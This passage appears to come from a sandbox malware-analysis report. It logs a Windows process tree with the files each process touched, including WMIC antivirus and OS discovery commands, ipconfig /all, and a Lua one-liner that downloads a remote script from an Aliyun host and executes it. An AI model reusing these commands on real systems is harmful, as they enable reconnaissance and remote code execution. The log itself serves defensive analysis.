        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        
        3340
        
        Image path
        
        FINDSTR 127.0.0.1:
        
        Time lapse
        
        12.668625
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\FINDSTR.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
      - 3888
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME && WMIC OS GET CAPTION && IPCONFIG /ALL
        
        Time lapse
        
        33.869063
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH_TARGET_2554313
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\WBEM\WMIC.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\IPCONFIG.EXE
        
        Process children
        
        3928
        
        Image path
        
        WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME
        
        Time lapse
        
        34.649063
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\FRAMEDYNOS.DLL
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WBEM\EN-US\WMIC.EXE.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSWOW64\WBEMCOMN.DLL
        C:\WINDOWS\SYSWOW64\KERNEL32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\PROGRAM FILES (X86)\COMMON FILES\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC90.CRT_1FC8B3B9A1E18E3B_9.0.30729.4940_NONE_50916076BCB9A742\MSVCR90.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XSL-MAPPINGS.XML
        C:\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSWOW64\NTDSAPI.DLL
        C:\WINDOWS\SYSWOW64\WBEM\TEXTTABLE.XSL
        C:\WINDOWS\SYSWOW64\VBSCRIPT.DLL
        C:\WINDOWS\SYSWOW64\SXS.DLL
        C:\WINDOWS\SYSWOW64\STDOLE2.TLB
        
        3980
        
        Image path
        
        WMIC OS GET CAPTION
        
        Time lapse
        
        35.834665
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\FRAMEDYNOS.DLL
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WBEM\EN-US\WMIC.EXE.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSWOW64\WBEMCOMN.DLL
        C:\WINDOWS\SYSWOW64\KERNEL32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\PROGRAM FILES (X86)\COMMON FILES\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC90.CRT_1FC8B3B9A1E18E3B_9.0.30729.4940_NONE_50916076BCB9A742\MSVCR90.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XSL-MAPPINGS.XML
        C:\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSWOW64\NTDSAPI.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XML\WMI2XML.DLL
        C:\WINDOWS\SYSWOW64\WBEM\TEXTTABLE.XSL
        C:\WINDOWS\SYSWOW64\VBSCRIPT.DLL
        C:\WINDOWS\SYSWOW64\SXS.DLL
        C:\WINDOWS\SYSWOW64\STDOLE2.TLB
        
        4028
        
        Image path
        
        IPCONFIG /ALL
        
        Time lapse
        
        36.318268
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC6.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\IPCONFIG.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\QAGENT.DLL
        C:\WINDOWS\SYSWOW64\QUTIL.DLL
        C:\WINDOWS\SYSWOW64\WEVTAPI.DLL
      - 3208
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME && WMIC OS GET CAPTION && IPCONFIG /ALL
        
        Time lapse
        
        41.294676
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAM FILES (X86)\COMMON FILES\ORACLE\JAVA\JAVAPATH_TARGET_2554313
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\WBEM\WMIC.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\IPCONFIG.EXE
        
        Process children
        
        3240
        
        Image path
        
        WMIC /NAMESPACE:\\ROOT\SECURITYCENTER2 PATH ANTIVIRUSPRODUCT GET DISPLAYNAME
        
        Time lapse
        
        41.403875
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\FRAMEDYNOS.DLL
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WBEM\EN-US\WMIC.EXE.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSWOW64\WBEMCOMN.DLL
        C:\WINDOWS\SYSWOW64\KERNEL32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\PROGRAM FILES (X86)\COMMON FILES\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC90.CRT_1FC8B3B9A1E18E3B_9.0.30729.4940_NONE_50916076BCB9A742\MSVCR90.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XSL-MAPPINGS.XML
        C:\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSWOW64\NTDSAPI.DLL
        C:\WINDOWS\SYSWOW64\WBEM\TEXTTABLE.XSL
        C:\WINDOWS\SYSWOW64\VBSCRIPT.DLL
        C:\WINDOWS\SYSWOW64\SXS.DLL
        C:\WINDOWS\SYSWOW64\STDOLE2.TLB
        
        2480
        
        Image path
        
        WMIC OS GET CAPTION
        
        Time lapse
        
        41.934277
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\FRAMEDYNOS.DLL
        C:\WINDOWS\SYSWOW64\WTSAPI32.DLL
        C:\WINDOWS\SYSWOW64\SECUR32.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WBEM\EN-US\WMIC.EXE.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL
        C:\WINDOWS\SYSWOW64\WBEMCOMN.DLL
        C:\WINDOWS\SYSWOW64\KERNEL32.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\PROGRAM FILES (X86)\COMMON FILES\MICROSOFT SHARED\OFFICE14\MSOXMLMF.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC90.CRT_1FC8B3B9A1E18E3B_9.0.30729.4940_NONE_50916076BCB9A742\MSVCR90.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XSL-MAPPINGS.XML
        C:\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL
        C:\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL
        C:\WINDOWS\SYSWOW64\NTDSAPI.DLL
        C:\WINDOWS\SYSWOW64\WBEM\XML\WMI2XML.DLL
        C:\WINDOWS\SYSWOW64\WBEM\TEXTTABLE.XSL
        C:\WINDOWS\SYSWOW64\VBSCRIPT.DLL
        C:\WINDOWS\SYSWOW64\SXS.DLL
        C:\WINDOWS\SYSWOW64\STDOLE2.TLB
        
        720
        
        Image path
        
        IPCONFIG /ALL
        
        Time lapse
        
        42.137077
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC.DLL
        C:\WINDOWS\SYSWOW64\DHCPCSVC6.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\IPCONFIG.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\QAGENT.DLL
        C:\WINDOWS\SYSWOW64\QUTIL.DLL
        C:\WINDOWS\SYSWOW64\WEVTAPI.DLL
      - 920
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C %PROGRAMDATA%\LUA\LUA.EXE -E "LOCAL CODE = [[LOCAL HTTP = REQUIRE('SOCKET.HTTP');LOCAL RESPONSE_BODY = {};LOCAL RES, CODE = HTTP.REQUEST({URL = 'HTTP://LUALIBS.OSS-CN-HONGKONG.ALIYUNCS.COM/X86/SCHEDULE.LUA',SINK = LTN12.SINK.TABLE(RESPONSE_BODY)});IF TYPE(RESPONSE_BODY) == 'TABLE' THEN LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))() ELSE PRINT('ERROR') END;]];LOADSTRING(CODE)();"
        
        Time lapse
        
        45.272682
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAMDATA\LUA\LUA.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        
        Process children
        
        3500
        
        Image path
        
        C:\PROGRAMDATA\LUA\LUA.EXE -E "LOCAL CODE = [[LOCAL HTTP = REQUIRE('SOCKET.HTTP');LOCAL RESPONSE_BODY = {};LOCAL RES, CODE = HTTP.REQUEST({URL = 'HTTP://LUALIBS.OSS-CN-HONGKONG.ALIYUNCS.COM/X86/SCHEDULE.LUA',SINK = LTN12.SINK.TABLE(RESPONSE_BODY)});IF TYPE(RESPONSE_BODY) == 'TABLE' THEN LOADSTRING(TABLE.CONCAT(RESPONSE_BODY))() ELSE PRINT('ERROR') END;]];LOADSTRING(CODE)();"
        
        Time lapse
        
        45.350683
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\PROGRAMDATA\LUA\LUA5.1.DLL
        C:\PROGRAMDATA\LUA\LUA\SOCKET\HTTP.LUA
        C:\PROGRAMDATA\LUA\LUA\SOCKET.LUA
        C:\PROGRAMDATA\LUA\SOCKET\CORE.DLL
        C:\WINDOWS\SYSWOW64\WSOCK32.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\PROGRAMDATA\LUA\LUA\SOCKET\URL.LUA
        C:\PROGRAMDATA\LUA\LUA\LTN12.LUA
        C:\PROGRAMDATA\LUA\LUA\MIME.LUA
        C:\PROGRAMDATA\LUA\MIME\CORE.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\NLAAPI.DLL
        C:\WINDOWS\SYSWOW64\NAPINSP.DLL
        C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\WINRNR.DLL
        C:\WINDOWS\SYSWOW64\WSHBTH.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
        C:\WINDOWS\SYSWOW64\RASADHLP.DLL
        C:\PROGRAMDATA\LUA\ZIP.DLL
        C:\PROGRAMDATA\LUA\ALIEN\CORE.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.VC80.CRT_1FC8B3B9A1E18E3B_8.0.50727.4940_NONE_D08CC06A442B34FC\MSVCR80.DLL
        C:\PROGRAMDATA\LUA\SCHEDULETASK.DLL
        C:\WINDOWS\SYSWOW64\CMD.EXE
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\SYSWOW64\TZRES.DLL
        C:\WINDOWS\SYSWOW64\EN-US\TZRES.DLL.MUI
        C:\WINDOWS\TEMP\2021-07-12-18-48-58.ZIP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBCRYPTO-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIBSSL-1_1-X64.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\ADODBAPI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\ADO_CONSTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\APIBASE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\DB_PRINT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\DB_TABLE_NAMES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\XLS_READ.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\EXAMPLES\XLS_WRITE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\IS64BIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\PROCESS_CONNECT_STRING.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\README.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\REMOTE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\SCHEMA_TABLE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\SETUP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\ADODBAPITEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\ADODBAPITESTCONFIG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\DBAPI20.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\IS64BIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\SETUPTESTFRAMEWORK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\TEST_ADODBAPI_DBAPI20.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\TEST\TRYCONNECTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ADODBAPI\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\INSTALLER
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\LICENSE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\BIDICT-0.21.2.DIST-INFO\METADATA
